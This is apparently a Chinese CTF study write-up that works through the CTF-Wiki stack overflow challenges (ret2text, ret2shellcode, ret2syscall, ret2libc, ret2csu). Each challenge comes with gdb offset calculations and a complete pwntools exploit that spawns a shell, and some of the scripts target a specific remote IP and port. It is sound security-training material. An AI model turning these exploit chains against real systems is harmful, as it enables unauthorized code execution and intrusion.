CTF-Wiki之栈溢出

栈溢出

网站:https://ctf-wiki.org/

附言:所有的学习均在本地测试,远程可以使用socat或者docker部署

ret2text

保护检查

image-20220615191107953

32位,开启NX保护。

查看调用的函数

image-20220615191201980

发现sysytem、printf、gets、puts等。

ida打开看看(F5反汇编)

image-20220615193317042

shift+f12查看字符串

image-20220615193542927

很明显,在主函数中,gets函数存在栈溢出,并且字符串中调用了/bin/sh,追踪发现secure调用了system(“/bin/sh”),记录一下地址。

image-20220615194305769

可以造成溢出的gets函数

image-20220615200638390

需要计算s相对于返回地址的偏移,可以使用gdb动态调试得到,也可以直接利用ida给出的偏移值计算(这个方法在主函数使用时候经常是给出的偏移是错误的)

调试

使用gdb动态调试:

1
2
3
4
5
6
7
8
gdb ret2text			#使用gdb调试程序文件

pwndbg> b *0x080486AE #在gets函数指向前下断点,地址是之前在ida中看到的

pwndbg> r #运行

pwndbg> info reg #显示寄存器的值,主要看的是esp和ebp

执行截图如下:

image-20220615202027514

image-20220615202045907

1
2
3
4
5
6
7
gdb动态调试计算偏移
由图可知
esp 0xffffcf20
ebp 0xffffcfa8
s=esp+1ch=ffffcf3c
s相对于ebp偏移:offset=ebp-s=0x6c
=>s相对于返回地址的偏移(因为是32位,所以直接+4):0x6c+4

攻击思路

利用gets函数进行栈溢出,并且修改返回的地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*									#导入库

context(os='linux',arch='i386',log_level='debug') #调试相关信息
#io=remote('',) #远程访问,需要自己挂上去
io=process('./ret2text') #本地访问
#elf=ELF('./ret2text') #导入本地文件

junk=b'a'*(0x6c+4) #计算的偏移,需要填充垃圾数据
shellc=0x0804863A #记录在ida找到的system("/bin/sh")
payload=junk+p32(shellc) #构造payload

io.sendline(payload) #发送构造好的payload
io.interactive() #与远程进行交互

拿到shell

image-20220615204942903

ret2shellcode

保护检查

image-20220616163235776

32位,没有开启保护,说明栈上可执行

image-20220616163318074

可以看到一些经常利用的函数,如gets…

ida打开看看

image-20220616164235497

可以造成溢出的gets函数(因为gets没有设置字符串长度)

image-20220616164317442

看主函数,可以知道当输入完s(长度为100)后,使用strncpy把s的数据复制到buf2,因为buf2没有在主函数中设出来,所以应该是一个全局变量,未初始化的全局变量一般保存在bss段中,双击buf2变量,看一下

image-20220616164947894

使用gdb调试看看

1
2
3
4
5
6
7
8
gdb ret2shellcode 		#启动gdb

pwndbg> b main #在主函数处下断点

pwndbg> r #运行

pwndbg> vmmap #查看当前程序的系统调用库

image-20220616165950043

由ida中的bss地址看到所属的区域(在第一行里)是具有可执行的权限的。

通过主函数可以知道把s的数据复制到buf2这个可以执行的bss段上,复制的大小是0x64,0x64-0x1C=0x48=72,大小足够了,直接使用pwntools提供的函数即可,可以看一下pwntools中构造 shellcode的字符串长度

这个是32位的shellc

image-20220616171527851

这个是64位的shellc

image-20220616171732498

对于偏移的计算,跟上面的ret2text原理一样

1
2
3
4
5
6
7
8
gdb ret2shellcode		#使用gdb调试程序文件

pwndbg> b *0x08048593 #在gets函数指向前下断点,地址是之前在ida中看到的

pwndbg> r #运行

pwndbg> info reg #显示寄存器的值,主要看的是esp和ebp

image-20220616190029416
1
2
3
4
5
esp            0xffffcef0          
ebp 0xffffcf78
s=esp+0x1c=ffffcf0c
s相对于esp的偏移:ebp-s=0x6c
=>s相对于返回地址的偏移:0x6c+4

攻击思路

利用gets函数造成栈溢出修改返回地址为buf2的地址,在s中填充shellcode(需要填满,空余的用其他垃圾数据填充)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*									#导入库

context(os='linux',arch='i386',log_level='debug') #调试的相关信息
io=remote('101.35.231.134',10000) #远程访问
#io=process('./ret2shellcode') #本地访问,这题不知道为啥打不通
#elf=ELF('./ret2shellcode') #导入文件

shellc=asm(shellcraft.sh()) #调用系统函数自动生成
buf2_addr=0x0804A080 #buf2的地址,让返回地址修改为这个

payload=shellc.ljust(0x6c+4,b'a')+p32(buf2_addr) #构造payload
io.sendline(payload) #发送
io.interactive() #与远程交互

拿到shell

image-20220617165203505

ret2syscall

保护检查

image-20220616194848607

32位,开启了NX保护

ida查看程序文件

image-20220617102809148

看到了危险函数gets函数

image-20220617105411878

跟前面一样,动调算一下偏移值

image-20220617105536928
1
2
3
4
5
esp            0xffffcf30         
ebp 0xffffcfb8
v4--->esp+0x1c=0xffffcf4c
v4相对于ebp偏移--->offset=0x6c
因为是32位,故v4相对于返回地址的偏移--->0x6c+4

可以利用系统调用来获取shell,比较常用的是下面这个

1
2
3
4
5
execve("/bin/sh",NULL,NULL)
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

对于对应的参数,可以借鉴这个网站:https://publicki.top/old/syscall.html

image-20220617112104732

使用ROPgadget查找gadgets

eax的gadgets

image-20220617160518058

使用我选中的那一行可以直接对ebx、ecx、edx进行赋值

image-20220617160816757

/bin/sh这个字符串的地址

image-20220617161022248

int 0x80的地址

image-20220617161107749

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

#io=remote('',)
io=process('./rop')
context(os='linux',arch='i386',log_level='debug')
#elf=ELF('./rop')

junk=b'a'*(0x6c+4) #之前计算的需要填充的偏移
pop_eax=0x080bb196 #eax,ret
pop_e3x=0x0806eb90 #edx,ecx,ebx,ret
bin_sh=0x080be408 #/bin/sh
int_0x80=0x08049421 #int 0x80

payload=junk+p32(pop_eax)+p32(0x0b)+p32(pop_e3x)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80) #构造payload

io.sendline(payload)
io.interactive()

拿到shell

image-20220617165348158

ret2libc

例1

保护检查

image-20220617202842455

32位,开启NX检查

image-20220617203134019

查看调用了的一些函数,可以看到gets、system函数

ida打开看看

image-20220617203657889

发现可以造成溢出的gets寒素

image-20220617203738980

在plt表中可以看到调用了system函数(在初始页面按ctrl+s选择plt表跳转)

image-20220617204005123

在查看字符串的时候(shift+f12),发现字符串/bin/sh

image-20220617204301525

现在整理一下可以利用的东西:可以造成溢出的gets函数、系统调用函数system以及字符串/bin/sh

除了可以通过ida直接查看字符串的地址,还可以通过ROPgadget

image-20220617205228929

计算s和返回地址的偏移(方法和前面一样)

image-20220617204730342
1
2
3
4
5
6
esp            0xffffcf10       
ebp 0xffffcf98

s:esp+0x1c=0xffffcf2c
s相对于ebp的偏移:offset=ebp-s=0x6c
s相对于返回地址的偏移:0x6c+4

攻击思路

利用gets函数的栈溢出修改返回地址并使之执行system(“/bin/sh”),拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

context(os='linux',arch='i386',log_level='debug')
#io=remote('',)
io=process('./ret2libc1')
elf=ELF('./ret2libc1')

junk=b'a'*(0x6c+4) #需要填充的垃圾数据
bin_sh=0x08048720 #先前查询的地址
system_plt=elf.plt['system'] #可以使用pwntools库中的函数直接查找,也可以像下面这样把ida中找到的直接写出来
#system=0x08048460

payload=junk+p32(system_plt)+b'bbbb'+p32(bin_sh) #构造payload,中间加了b'bbbb'是因为在调用函数的时候,同时需要一个对应的返回地址,这里的b'bbbb'作为虚假的地址,因为此时已经拿到了shell

io.sendline(payload)

io.interactive()

拿到shell

image-20220617210035884

例2

保护检查

image-20220617210220822

和例1一样,32位,开启NX保护

ida打开看看

image-20220617210500398

可以造成栈溢出的gets函数

image-20220617212503114

查看字符串(shift+f12),和第一题相比,可以看到没有了字符串/bin/sh

image-20220617210556495

在plt表中可以找到system函数

image-20220617211320710

在bss段可以找到一个连续的空间,并且动调发现bss段可执行

image-20220617211915506 image-20220617211848614

计算s和返回地址的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> info reg
eax 0xffffcf2c -12500
ecx 0xffffffff -1
edx 0x13 19
ebx 0x0 0
esp 0xffffcf10 0xffffcf10
ebp 0xffffcf98 0xffffcf98
esi 0xf7fb2000 -134537216
edi 0xf7fb2000 -134537216
eip 0x80486ba 0x80486ba <main+114>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99

s相对于返回地址的偏移:ebp-(esp+0x1c)+4=0x6c+4

攻击思路

和例1很像,不过缺少字符串/bin/sh,故可以调用gets函数把字符串/bin/sh写道bss段上,然后修改返回地址执行system(“/bin/sh”)

buf2的地址

image-20220617214054803

pop_ebx

image-20220617214223568

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*

context(os='linux',arch='i386',log_level='debug')
#io=remote('',)
io=process('./ret2libc2')
elf=ELF('./ret2libc2')

junk=b'a'*(0x6c+4)
buf2_addr=0x0804A080
pop_ebx=0x0804843d
gets_plt=elf.plt['gets'] #可以这样直接调用函数,也可以在ida中查
system_plt=elf.plt['system'] #同上

payload=junk+p32(gets_plt)+p32(pop_ebx)+p32(buf2_addr)+p32(system_plt)+b'bbbb'+p32(buf2_addr) #这里的pop主要是为了返回用的进而执行system函数

io.sendline(payload)

io.sendline('/bin/sh')

io.interactive()

关于payloa的构造,wiki上面没有详细说明,为了方便理解,画了一张流程图

ret2libc2_01

我先开始也看不太明白,请教了高师傅后才理解的,后来高师傅还给我推荐了一个构造payload的方法

1
payload = b'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(buf2)+p32(buf2)

这个在栈上的分布如下图所示

image-20220617224122737

拿到shell

image-20220617221719649

例3

保护检查

image-20220618102115483

32位,开启NX保护

image-20220618102235365

ida打开看看

image-20220618102436248

发现危险函数gets函数

image-20220618102526005

计算s和返回地址的偏移(方法和之前一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> info reg
eax 0xffffcf2c -12500
ecx 0xffffffff -1
edx 0x12 18
ebx 0x0 0
esp 0xffffcf10 0xffffcf10
ebp 0xffffcf98 0xffffcf98
esi 0xf7fb2000 -134537216
edi 0xf7fb2000 -134537216
eip 0x804868a 0x804868a <main+114>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99

s相对于返回地址的偏移:offset=ebp-(esp+0x1c)+4=0x6c+4

程序中可以利用的最明显的就是gets函数的溢出。

攻击思路

利用gets函数的溢出泄露出libc版本,进而获取到system地址和/bin/sh地址,再次执行程序出发栈溢出执行system(“/bin/sh”)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from LibcSearcher import*

context(os='linux',arch='i386',log_level='debug')
io=remote('101.35.231.134',10000)
#io=process('./ret2libc3') #我得本地打不出来,应该和Ubuntu版本有关
elf=ELF('./ret2libc3')

junk=b'a'*(0x6c+4)
puts_plt=elf.plt['puts'] #利用puts函数打印出需要打印的函数的got地址
puts_got=elf.got['puts'] #随便选取一个libc库中调用的函数即可,我这里选的是puts的
main=elf.sym['main'] #main函数地址

payload=junk+p32(puts_plt)+p32(main)+p32(puts_got) #构造payload,这里修改返回调用为puts(puts_got),puts函数的返回地址为主函数,方便泄露完成后构造shellc获取shell

io.sendlineafter('Can you find it !?',payload)

puts_addr=u32(io.recvuntil('\xf7')[-4:]) #一般got地址是以\xf7开头,也可以像网上那样写,如下
#puts_addr=u32(sh.recv()[0:4])
print('puts_addr--->{}'.format(hex(puts_addr))) #打印出来看看


libc=LibcSearcher('puts',puts_addr) #利用库查找出libc
base=puts_addr-libc.dump('puts')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')


payload=b'a'*104+p32(system)+b'bbbb'+p32(bin_sh)
io.sendline(payload)
io.interactive()

当使用LibcSearcher查询不到时候(好像是版本的问题打不出来),可以到网上去在线查询,输入相关的函数的地址(后3位即可),在线查询网:https://publicki.top/libc/ 或者 https://libc.rip/

本地没pwn掉应该是因为我用的是Ubuntu20的版本问题

image-20220618125557365

但是远程可以打通的

image-20220618125708159

ret2csu

借鉴的博客:https://blog.csdn.net/AcSuccess/article/details/104448463

检查保护

image-20220618202733545

64位,开启了NX保护,即堆栈段不可执行

image-20220618202819738

ida打开看看

image-20220618210224594

调用的函数

image-20220618210302293

可以看到read函数存在栈溢出,因为buf的字长是128,而读入的数据长度是0x200。

程序中没有system函数的调用,也没有字符串/bin/sh,故两个都需要自己去构造

攻击思路

1、利用栈溢出执行 libc_csu_gadgets 获取 read 函数地址,并使得程序重新执行 main 函数

2、根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址

3、再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数。

4、再次利用栈溢出执行 libc_csu_gadgets 执行 execve(‘/bin/sh’) 获取 shell。

这题ctf-wiki讲的不是很详细,我上网找了找相关的题解,除了借鉴的博客,狼组安全的文库对这个题型进行了详细的讲解

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
from LibcSearcher import*

context(os='linux',arch='amd64',log_level='debug')
io=remote('101.35.231.134',10000)
#io=process('./level5') #我的本地没有打出来,应该是环境的问题
elf=ELF('./level5')

offset=128+8

first_csu=0x400606
second_csu=0x4005f0

def ret_csu(r12,r13,r14,r15,last):
payload=b'a'*offset
payload+=p64(first_csu)+b'a'*8
payload+=p64(0)+p64(1)
payload+=p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(second_csu)+b'a'*56+p64(last)
return payload

write_got=elf.got['write']
start_addr=0x0000000000400460

io.recv()

payload=ret_csu(write_got,1,write_got,8,start_addr)
io.sendline(payload)

write_addr=u64(io.recv(8))
print('write_addr-->{}'.format(hex(write_addr)))

libc=LibcSearcher('write',write_addr)
base=write_addr-libc.dump('write')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')

read_got=elf.got['read']
bss_addr=0x601028

payload=ret_csu(read_got,0,bss_addr,18,start_addr)
io.sendlineafter('Hello, World\n',payload)
io.sendline(p64(system)+b'/bin/sh\x00')

payload=ret_csu(bss_addr,bss_addr+8,0,0,start_addr)
io.sendlineafter('Hello, World\n',payload)

io.interactive()

拿到shell

image-20220619213844860